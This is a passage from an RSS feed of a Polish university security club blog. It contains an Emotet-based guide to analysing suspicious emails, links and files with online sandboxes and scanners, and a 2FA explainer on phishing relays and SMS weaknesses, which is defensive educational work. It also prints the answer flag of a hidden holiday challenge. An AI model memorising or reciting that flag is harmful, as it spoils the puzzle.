&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">HASŁO&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">WHITE-HATS{S4nT4$-p@s$w0rd-Is-6R34T} &lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div></description></item><item><title>Jak przeanalizować podejrzane linki, e-maile, pliki?</title><link>https://whitehats.pwr.edu.pl/blog/2020-12-15-emotet-analiza/</link><pubDate>Tue, 15 Dec 2020 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2020-12-15-emotet-analiza/</guid><description>
&lt;p>Na pewno każdy z Was spotkał się z sytuacją, w której na pocztę przychodzi dziwny mail od nieznanego nadawcy. Czasem te podejrzane wiadomości są zwykłą reklamą, rozsyłaną masowo przez firmy. Momentami jednak możemy odnieść wrażenie, że otrzymana poczta jest kierowana specjalnie do nas. Zarówno w przypadku maila wyglądającego na kampanię reklamową czy ukierunkowanego bezpośrednio w naszą osobę, możemy natknąć się na niebezpieczny załącznik lub link, który ma na celu np. wyłudzić dane. Taka sytuacja, jak zapewne wszyscy zainteresowani cyberbezpieczeństwem wiedzą, nazywa się atakiem phishingowym (więcej o phishingu można poczytać &lt;a href="https://whitehats.pwr.edu.pl/edu/phishing/"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>).&lt;/p>
&lt;p>Scenariusz tego typu używa wielu metod mających na celu wyłudzenie naszych danych, zarówno tych jawnych jak i poufnych. Gdy już damy się nabrać na socjotechnikę, to zazwyczaj w następnej kolejności, albo otwieramy podrobiony panel logowania, skonstruowany tak, by przypominał ten rzeczywistej strony, albo pobieramy na swój komputer złośliwe oprogramowanie, którego zadaniem może być m.in. wykradanie danych. Jak sami widzicie, nieostrożne korzystanie z poczty, może sprowadzić na nas duże niebezpieczeństwo.&lt;/p>
&lt;p>Co więc można zrobić, aby zapobiegać takim sytuacjom w tzw. domowych warunkach? Z pomocą przychodzi nam wiele narzędzi, które są w stanie przeanalizować potencjalnie niebezpieczne pliki lub URL, zawarte w mailach. W tym artykule przytoczę klika z nich.&lt;/p>
&lt;h2>ANY.RUN&lt;span class="hx:absolute hx:-mt-20" id="anyrun">&lt;/span>
&lt;a href="#anyrun" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Jeśli chcemy zweryfikować nieznany nam adres URL lub plik, idealnym rozwiązaniem wydaje się być &lt;a href="https://any.run"target="_blank" rel="noopener">ANY.RUN&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Ten serwis udostępnia nam interfejs, dzięki któremu sami możemy przejrzeć potencjalnie niebezpieczną stronę w symulowanym środowisku on-line. Darmowa wersja pozwala na pięciominutową analizę w systemie operacyjnym Windows 7 oraz dla przeglądarek Internet Explorer, Mozilla Firefox, Chrome i Opera (darmowe rozwiązanie nie posiada wszystkich funkcjonalności, ale za to jest ono wystarczające do szybkiej weryfikacji). Jeśli chcemy skorzystać z innego systemu operacyjnego lub chcemy mieć zwiększony czas, musimy skorzystać z płatnej wersji. Należy pamiętać, że można tutaj również zobaczyć na żywo zachowanie pliku przekazanego do analizy.&lt;/p>
&lt;p>Dobrym przykładem jest &lt;a href="https://app.any.run/tasks/3363fde4-111b-4aaa-b73d-e4144433c284/"target="_blank" rel="noopener">pokazowa analiza&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> niebezpiecznego oprogramowania &lt;a href="https://www.cert.pl/news/single/analiza-zlosliwego-oprogramowania-emotet-v4/"target="_blank" rel="noopener">Emotet&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, które jest dostarczane poprzez wiadomość email. Zawiera ona adres URL, który zazwyczaj pobiera plik .doc, zawierający niebezpieczne makro, łączące nas z serwerem &lt;a href="https://www.trendmicro.com/vinfo/us/security/definition/command-and-control-server"target="_blank" rel="noopener">C&amp;amp;C&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>(Command and Control) poprzez wykonanie komend w PowerShellu. To właśnie na przykładzie Emoteta postaram się zaprezentować wam narzędzia do analizy.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./anyrun.png">&lt;img loading="lazy" src="./anyrun.png">&lt;/a>
&lt;figcaption>Zrzut ekranu ze strony ANY.RUN&lt;/figcaption>
&lt;/figure>
&lt;p>Istotne informacje zawarte są w sekcji IoC, w której dostępne są takie dane jak np.: zapytania DNS, hashe, żądania HTTP/HTTPS czy adresy IP, z jakimi strona/plik się łączy. Pozwala to na głębszą analizę oraz dokładniejsze zrozumienie działania badanego obiektu. Otrzymujemy powiązane &lt;a href="https://blog.logsign.com/what-is-ioc-in-cyber-security/"target="_blank" rel="noopener">IoC&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> (Indicators of Compromise), które można zweryfikować również w innych witrynach. Poniżej widzimy sekcję IoC dla powyższej przeprowadzonej analizy Emotet.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./ioc.png">&lt;img loading="lazy" src="./ioc.png">&lt;/a>
&lt;figcaption>Zrzut ekranu z IoC&lt;/figcaption>
&lt;/figure>
&lt;p>ANY.RUN szczególnie przydaje się w przypadku, gdy posiadamy link, który pobiera z Internetu plik. Możemy wtedy dokonać dogłębnego traege&amp;rsquo;u, czyli oceny zagrożenia. Spróbujmy więc skorzystać z informacji jakie uzyskaliśmy w sekcji IoC z analizy ANY.RUN. Do dalszej analizy użyjemy innych narzędzi.&lt;/p>
&lt;h2>VirusTotal&lt;span class="hx:absolute hx:-mt-20" id="virustotal">&lt;/span>
&lt;a href="#virustotal" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>&lt;a href="https://www.virustotal.com/gui/"target="_blank" rel="noopener">VirusTotal&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> jest znakomitym internetowym skanerem. Posiada on ogromną bazę IoC, która pozwala na zdobycie dużej wiedzy o badanym pliku, linku czy adresie IP. Skorzystajmy z niej i spróbujmy dowiedzieć sie czegoś więcej o analizowanym przypadku. Najpierw sprawdźmy zdobyty hash MD5. Wklejenie go w sekcje SEARCH na VirusTotalu w wyniku da taki oto rezultat:&lt;/p>
&lt;figure class="align-center">
&lt;a href="./vt.png">&lt;img loading="lazy" src="./vt.png">&lt;/a>
&lt;figcaption>Zrzut ekranu ze strony VirusTotal&lt;/figcaption>
&lt;/figure>
&lt;p>Wyniki jakie otrzymujemy są zamieszczone w pięciu sekcjach:&lt;/p>
&lt;ul>
&lt;li>&lt;code>Detection&lt;/code>, w której możemy dowiedzieć się, które skanery wskazały analizowany przez nas plik jako niebezpieczny,&lt;/li>
&lt;li>&lt;code>Details&lt;/code>, gdzie możemy zdobyć wiele cennych informacji różnego typu, w zależności od tego co analizujemy. Mogą to być np. metadane, certyfikat strony, której adres analizujemy itd.,&lt;/li>
&lt;li>&lt;code>Relations&lt;/code>, która pozwoli nam np. na sprawdzenie z jakimi adresami IP plik próbuje się połączyć,&lt;/li>
&lt;li>&lt;code>Behavior&lt;/code>, wskazująca różne podejrzane działania, wykryte podczas analizy statycznej i dynamicznej,&lt;/li>
&lt;li>&lt;code>Community&lt;/code>, w której znajdują się komentarze na temat badanego obiektu od innych użytkowników. Pozwala to często obrać ścieżkę dalszej analizy, jaką będziemy chcieli przeprowadzić.&lt;/li>
&lt;/ul>
&lt;p>W badanym przez nas przypadku, szczególnie ciekawy jest wynik sekcji Relations, która między innymi w graficzny sposób prezentuje nam ukrytę zachowanie pobranego przez nas pliku .doc:&lt;/p>
&lt;figure class="align-center">
&lt;a href="./relations.png">&lt;img loading="lazy" src="./relations.png">&lt;/a>
&lt;figcaption>Zrzut ekrany ze strony VirusTotal, sekcja Relations&lt;/figcaption>
&lt;/figure>
&lt;p>Funkcje hashujące są niezwykle istotne, gdyż pozwalają one niemal jednoznacznie zidentyfikować dany plik - zmiana pojedynczego znaku w nim, zmieni całkowicie wartość jego skrótu. Należy jednak mieć na uwadze zjawisko nazywane kolizją hashy. Występuje ono, gdy ten sam hash zostaje wygenerowany przez dwa różne pliki (jest to zdarzenie bardzo mało prawdopodobne i zdarza się najczęściej dla hashy MD5).&lt;/p>
&lt;p>VirusTotal nie służy jednak tylko do analizy hashy. Pozwala on, tak jak w przypadku ANY.RUN, na analizę adresu URL czy pliku. Niestety w przypadku tego narzędzia nie możemy sami podejrzeć co badany obiekt zawiera, gdyż nie jest udostępniany graficzny interfejs. Co jednak przemawia na korzyść VirusTotal, to to, że jak już wspomniałem posiada on ogromną bazę IoC, w której możemy wyszukiwać takie dane jak domena, adres IP czy właśnie hash. Narzędzie to jest również bardzo intuicyjne i przyjemnę w obsłudze. W czytelny i przejrzysty sposób są udostępniane takie informacje jak np. certyfikat strony w standardzie x509.&lt;/p>
&lt;p>Omawiane narzędzie składa się z około 70 różnych skanerów, co pozwala dokładniej określić naturę podejrzanego pliku czy strony. Wyniki przedstawione po jego przeskanowaniu pochodzą z analizy statycznej i dynamicznej. Analiza statyczna głównie opiera się na wydobyciu jak największej liczby informacji o obiekcie z jego metadanych, zaś analiza dynamiczna symuluje zwyczajne środowisko, uruchamia badany plik oraz weryfikuje jego zachowanie w systemie. Dane jakie skanerom uda się uzyskać podczas analizy są później dostępne dla innych użytkowników poprzez zakładkę SEARCH.&lt;/p>
&lt;p>VirusTotal zawiera również innego rodzaju narzędzia. W szczególności warto wspomnieć o &lt;a href="https://www.virustotal.com/gui/hunting-overview"target="_blank" rel="noopener">regułach YARA&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Umożliwia tworzenie sygnatur, które pozwalają na późniejsze rozpoznanie podobnego malware. Tworzy się je poprzez wzorce tekstowe lub binarne. Szczególnie przydatne, jeśli naszym celem jest wyszukiwanie nowych i odnotowanych wcześniej próbek danej rodziny złośliwego oprogramowania.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./vt.png">&lt;img loading="lazy" src="./vt.png">&lt;/a>
&lt;figcaption>Zrzut ekranu ze strony VirusTotal&lt;/figcaption>
&lt;/figure>
&lt;h3>Analiza adresów IP oraz domen&lt;span class="hx:absolute hx:-mt-20" id="analiza-adresów-ip-oraz-domen">&lt;/span>
&lt;a href="#analiza-adres%c3%b3w-ip-oraz-domen" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Pójdźmy o krok dalej i spróbujmy się dowiedzieć czegoś więcej o uzyskanych w sekcji IoC adresach IP oraz domenach. W tym celu użyjemy dwóch ogólnodostępnych baz adresów IP, a mianowicie: &lt;a href="https://www.abuseipdb.com"target="_blank" rel="noopener">AbuseIPDB&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> oraz &lt;a href="https://www.ipvoid.com"target="_blank" rel="noopener">IPVoid&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.
Pierwszy z nich to baza, w której webmasterzy, administratorzy systemów oraz inne zainteresowane osoby zgłaszają adresy IP, powiązane z odnotowanymi na nich potencjalnymi cyberatakami. IPVoid, podobnie jak AbuseIPDB, zawiera bazę adresów IP, powiązanych z naruszeniami bezpieczeństwa, ale także umożliwia wykorzystanie innych funkcji takich jak uzyskanie geolokalizacji, czy reverse DNS lookup. Przykładowy wynik dla wybranego adresu IP w bazie IPVoid widoczny jest poniżej.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./ipvoid.png">&lt;img loading="lazy" src="./ipvoid.png">&lt;/a>
&lt;figcaption>Zrzut ekranu ze strony IPVoid&lt;/figcaption>
&lt;/figure>
&lt;p>Jeśli chcemy dogłębniej przeanalizować domenę, dobrym rozwiązaniem jest VirusTotal. Pozwoli on na uzyskanie takich informacji jak: certyfikat HTTPS, subdomeny, inne powiązane adresy IP itd.&lt;/p>
&lt;h3>urlscan.io&lt;span class="hx:absolute hx:-mt-20" id="urlscanio">&lt;/span>
&lt;a href="#urlscanio" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Kolejnym świetnym narzędziem jest &lt;a href="https://urlscan.io/"target="_blank" rel="noopener">URLscan.io&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Jest to dedykowane narzędzie do analizy URL, nie możemy za jego pomocą uzyskać informacji o pliku, jednak idealnie nadaje się do analizy adresu internetowego. Kontynuując przeprowadzaną analizę na podstawie grupy IoC zaczerpniętej z ANY.RUN, przeskanuje jeden z uzyskanych adresów URL. W uzyskanych wynikach będziemy mogli znaleźć dane dotyczące domen oraz adresów IP powiązanych ze stroną, dane statystyczne oraz zrzut ekranu z zawartością strony.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./urlscan.png">&lt;img loading="lazy" src="./urlscan.png">&lt;/a>
&lt;figcaption>Zrzut ekranu z URLscan.io&lt;/figcaption>
&lt;/figure>
&lt;p>Informacje jakie uzyskaliśmy za pomocą urlscan są znacznie obszerniejsze niż te, które udostępnił na VirusTotal. Przykładowo, nie używając urlscan nie dowiedzielibyśmy się o faktycznym Final URL (Effective URL), który jest rzeczywistym adresem strony, do której doprowadzi nas pierwotny URL (jak pewnie się domyślacie, całkiem cenna informacja)&lt;/p>
&lt;figure class="align-center">
&lt;a href="./vturl.png">&lt;img loading="lazy" src="./vturl.png">&lt;/a>
&lt;figcaption>Zrzut ekranu z VirusTotal&lt;/figcaption>
&lt;/figure>
&lt;p>Nie świadczy to o wyższości jednego narzędzia nad drugim lecz o fakcie iż warto korzystać z jak największej ich ilości, gdy przeprowadzana jest przez nas analiza.&lt;/p>
&lt;h3>Uwaga&lt;span class="hx:absolute hx:-mt-20" id="uwaga">&lt;/span>
&lt;a href="#uwaga" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Na koniec bardzo ważna rzecz - pamiętajcie, że posiadając podstawową wersje konta na VirusTotal i ANY.RUN wszystkie zamieszczone pliki/URL, wraz z analizą, będą publicznie dostępne dla każdego, korzystającego z tych serwisów. Jeśli nie jesteście pewni, czy plik nie zawiera danych wrażliwych, które nie powinny być upublicznione, nie wykorzystujcie wyżej wymienionych narzędzi.&lt;/p></description></item><item><title>Uwierzytelnianie dwuskładnikowe</title><link>https://whitehats.pwr.edu.pl/blog/2020-12-06-2fa-uwierzytelnianie/</link><pubDate>Sun, 06 Dec 2020 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2020-12-06-2fa-uwierzytelnianie/</guid><description>
&lt;h2>Czym właściwie jest 2FA&lt;span class="hx:absolute hx:-mt-20" id="czym-właściwie-jest-2fa">&lt;/span>
&lt;a href="#czym-w%c5%82a%c5%9bciwie-jest-2fa" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;!-- &lt;a href="https://whitehats.pwr.edu.pl/santaclaus">Gdzie się kryje Mikołaj?&lt;/a> -->
&lt;p>Możecie nie zdawać sobie sprawy, ale korzystamy z niego na co dzień. Płacąc w sklepie, przy pomocy karty powyżej kwoty 50 zł (lub przy co szóstej transakcji, gdy ich zsumowana wartość przekracza 150€ etc.) jesteśmy proszeni o podanie numeru PIN.&lt;/p>
&lt;p>W ten sposób potwierdzamy swoją tożsamość przy wykorzystaniu dwóch z trzech dostępnych kategorii:&lt;/p>
&lt;ul>
&lt;li>coś co wiesz (np. hasło, PIN)&lt;/li>
&lt;li>coś co masz (np. token, karta płatnicza)&lt;/li>
&lt;li>coś czym jesteś (np. odcisk palca, cechy biometryczne twarzy)&lt;/li>
&lt;/ul>
&lt;h2>Dlaczego warto stosować&lt;span class="hx:absolute hx:-mt-20" id="dlaczego-warto-stosować">&lt;/span>
&lt;a href="#dlaczego-warto-stosowa%c4%87" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Jest to najłatwiejszy sposób na zwiększenie bezpieczeństwa konta. Polega on na zastosowaniu drugiego czynnika, jakim jest zazwyczaj kod z SMSa lub aplikacji.
Do tak zabezpieczonego konta, nieuprawniony dostęp jest znacząco utrudniony. Nawet, jeśli atakujący posiadałby dane logowania, to po ich wpisaniu zastanie ekran z prośbą o podanie kodu, którego nie ma sposobu znać, nie wykonując dodatkowych czynności, aby je zdobyć.&lt;/p>
&lt;p>Jednak z rosnącą popularnością 2FA (Two-factor Authentication), oszuści dostosowali swoje narzędzia i techniki. Obecnie ofierze wysyła się link prowadzący do fałszywej bramki płatności, przez którą przechodzi ona do podstawionej strony logowania do banku. Po wpisaniu loginu i hasła zostają one przesłane do atakującego, a on przesyła je dalej do serwisu bankowego. Bank widzi, że klient próbuje się zalogować, więc wysyła do niego SMS z kodem albo oczekuje podania ciągu znaków wygenerowanych w aplikacji. Oczywiście ten etap też jest przewidziany na podstawionej stronie, gdzie wyświetla się okienko w celu podania wybranej metody, z której korzysta klient. Atakujący, po wprowadzeniu przez nieświadomą osobę swoich danych i kodu, uzyskuje w prosty sposób dostęp do konta bankowego ofiary. Dlatego należy mieć świadomość, z jakich innych zabezpieczeń można skorzystać, aby w pełni chronić swoje konta i dane.&lt;/p>
&lt;h2>Rodzaje 2FA&lt;span class="hx:absolute hx:-mt-20" id="rodzaje-2fa">&lt;/span>
&lt;a href="#rodzaje-2fa" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Istnieje kilka sposobów na implementację 2FA, o dwóch pierwszych już wspomniałem. Serwisy mogą wybierać spośród poniższych opcji.&lt;/p>
&lt;h3>Kody SMS&lt;span class="hx:absolute hx:-mt-20" id="kody-sms">&lt;/span>
&lt;a href="#kody-sms" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Najprostsza wersja, która polega na wysłaniu wiadomości tekstowej na uprzednio przypisany do konta numer telefonu. Niestety - jednocześnie jest to aktualnie najmniej bezpieczna opcja. Banki obecnie wycofują się z jej wykorzystania - temat zostanie rozwinięty później.&lt;/p>
&lt;h3>Kod z aplikacji&lt;span class="hx:absolute hx:-mt-20" id="kod-z-aplikacji">&lt;/span>
&lt;a href="#kod-z-aplikacji" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;figure class="align-center">
&lt;a href="./ga_2fa.png">&lt;img loading="lazy" src="./ga_2fa.png">&lt;/a>
&lt;figcaption>Zrzut ekranu aplikacji Google Authenticator. &lt;a href="https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&amp;hl=pl&amp;gl=US">[ŹRÓDŁO]&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;p>Dzięki rozwiązaniom takimi jak Google Authenticator, Authy albo KeePassXC, metoda staje się jeszcze bezpieczniejsza, ponieważ wykorzystują one technologię TOTP (Time-based One Time Password). W skrócie, podczas powiązania naszego konta z aplikacją należy zeskanować kod QR lub przepisać kod. Po pomyślnym zaimportowaniu klucza współdzielonego, następuje proces wyliczania hasła.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./2fa_totp.png">&lt;img loading="lazy" src="./2fa_totp.png">&lt;/a>
&lt;figcaption>Schemat TOTP.&lt;/figcaption>
&lt;/figure>
&lt;p>Jeśli serwer i klient zgadzają się co do czasu oraz posiadają ten sam klucz współdzielony, to ich wypadkowa (skrót kryptograficzny) będzie taka sama. Dzięki temu, urządzenia nie muszą być ze sobą bezpośrednio połączone, aby móc generować bezpieczne kody.&lt;/p>
&lt;h3>Powiadomienia push&lt;span class="hx:absolute hx:-mt-20" id="powiadomienia-push">&lt;/span>
&lt;a href="#powiadomienia-push" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;figure class="align-center">
&lt;a href="./push_2fa.jpg">&lt;img loading="lazy" src="./push_2fa.jpg">&lt;/a>
&lt;figcaption>Materiał reklamowy Apple nt. powiadomień push 2FA. &lt;a href="https://support.apple.com/en-us/HT204915">[ŹRÓDŁO]&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;p>Inną implementacją jest proste powiadomienie, mówiące o próbie zalogowania się na konto. Rozwijając je, ujrzymy opcje akceptacji lub odrzucenia tego żądania. Najczęściej dodawana jest też przybliżona lokalizacja, z jakiej nastąpiło połączenie do naszego konta.&lt;/p>
&lt;p>W tym przypadku, metoda ta ułatwia życie. Jeśli często logujemy się na różnych urządzeniach i chcemy zyskać na czasie, nie otwierając za każdym razem aplikacji i wpisując kod, wystarczy kliknąć powiadomienie.&lt;/p>
&lt;h3>Klucze bezpieczeństwa&lt;span class="hx:absolute hx:-mt-20" id="klucze-bezpieczeństwa">&lt;/span>
&lt;a href="#klucze-bezpiecze%c5%84stwa" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;figure class="align-center">
&lt;a href="./yubikeys.png">&lt;img loading="lazy" src="./yubikeys.png">&lt;/a>
&lt;figcaption>Materiał reklamowy Yubico prezentujący cały asortyment kluczy bezpieczeństwa. &lt;a href="https://www.yubico.com/products/">[ŹRÓDŁO]&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;p>Kolejnym wariantem są fizyczne &lt;em>klucze&lt;/em>, czyli w praktyce zatopione w wytrzymałym plastiku komponenty elektroniczne, przetwarzające zaawansowane algorytmy kryptograficzne. Posiadają one również płytkę przewodzącą lub inny element wymagający interakcji, do którego przykładamy palec w celu potwierdzenia naszej fizycznej obecności. Podczas logowania po wpisaniu loginu i hasła, jesteśmy proszeni o włożenie urządzenia do portu USB i jego dotknięcie.
Dla ciekawskich, dlaczego sprzętowe rozwiązania są uznawane za bardziej bezpieczne, o czym więcej &lt;a href="https://zaufanatrzeciastrona.pl/post/podstawy-bezpieczenstwa-uwierzytelnianie-dwuskladnikowe-po-co-i-jak-go-uzywac/"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Występują one w wielu wariantach - od takich, które trzeba fizycznie podłączyć, inne, rozszerzone o komunikację NFC do korzystania z nich także przy potwierdzaniu swojej tożsamości w telefonie, jak i takie, łączące te opcje w jedną np. połączenie USB, NFC i Bluetooth.
Proces tworzenia takiego urządzenia jest skrupulatnie kontrolowany od samego początku, aby zapewnić bezpieczeństwo w całym łańcuchu dostaw.&lt;/p>
&lt;h3>Kody zapasowe&lt;span class="hx:absolute hx:-mt-20" id="kody-zapasowe">&lt;/span>
&lt;a href="#kody-zapasowe" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;figure class="align-center">
&lt;a href="./backup_codes.jpg">&lt;img loading="lazy" src="./backup_codes.jpg">&lt;/a>
&lt;figcaption>Kody zapasowe w serwisie Instagram. &lt;a href="https://smartphones.gadgethacks.com/how-to/set-up-instagram-recovery-codes-so-you-can-always-access-your-account-with-2fa-enabled-0190635/">[ŹRÓDŁO]&lt;/a>&lt;/figcaption>
&lt;/figure>
&lt;p>Podczas konfigurowania 2FA serwisy udostępniają i proponują zapisać specjalnie wygenerowane kody, z których możemy skorzystać, jeśli nie mamy dostępu do ustawionej metody uwierzytelnienia. W przypadku utraty telefonu możemy z nich skorzystać w celu odzyskania dostępu do konta i ustawienia nowej metody 2FA. Bardzo ważne jest, aby przechowywać je w bezpiecznym miejscu - fizycznie lub cyfrowo - pamiętając o ich dodatkowej kopii.&lt;/p>
&lt;h2>Dlaczego SMS odchodzi w zapomnienie&lt;span class="hx:absolute hx:-mt-20" id="dlaczego-sms-odchodzi-w-zapomnienie">&lt;/span>
&lt;a href="#dlaczego-sms-odchodzi-w-zapomnienie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Implementacja mechanizmu 2FA za pomocą wiadomości SMS stała się mniej bezpieczna. Przy tak ważnych operacjach, jakie można wykonywać na np. koncie internetowym banku, nie mogą sobie one pozwolić na słabe punkty.&lt;/p>
&lt;p>Przekonała się o tym firma Cloudflare w 2012 roku. Atakujący umiejętnie przekierowywali wiadomości poczty głosowej, co poskutkowało koniec końców uzyskaniem dostępu do administracyjnego konta e-mail. Więcej szczegółów, jak cały atak wyglądał, można przeczytać na ich &lt;a href="https://blog.cloudflare.com/the-four-critical-security-flaws-that-resulte/"target="_blank" rel="noopener">blogu&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Komunikacja w sieciach GSM pomiędzy telefonem, a stacją bazową jest słabo-szyfrowana (jeśli w ogóle). W sieciach od 3G poprzez 4G jest to rozwiązane poprzez wymóg wzajemnego uwierzytelnienia obu komponentów. Możliwe jednak nadal jest wymuszenie na urządzeniu przejścia do technologii GSM - tutaj do akcji wkracza IMSI Catcher.&lt;/p>
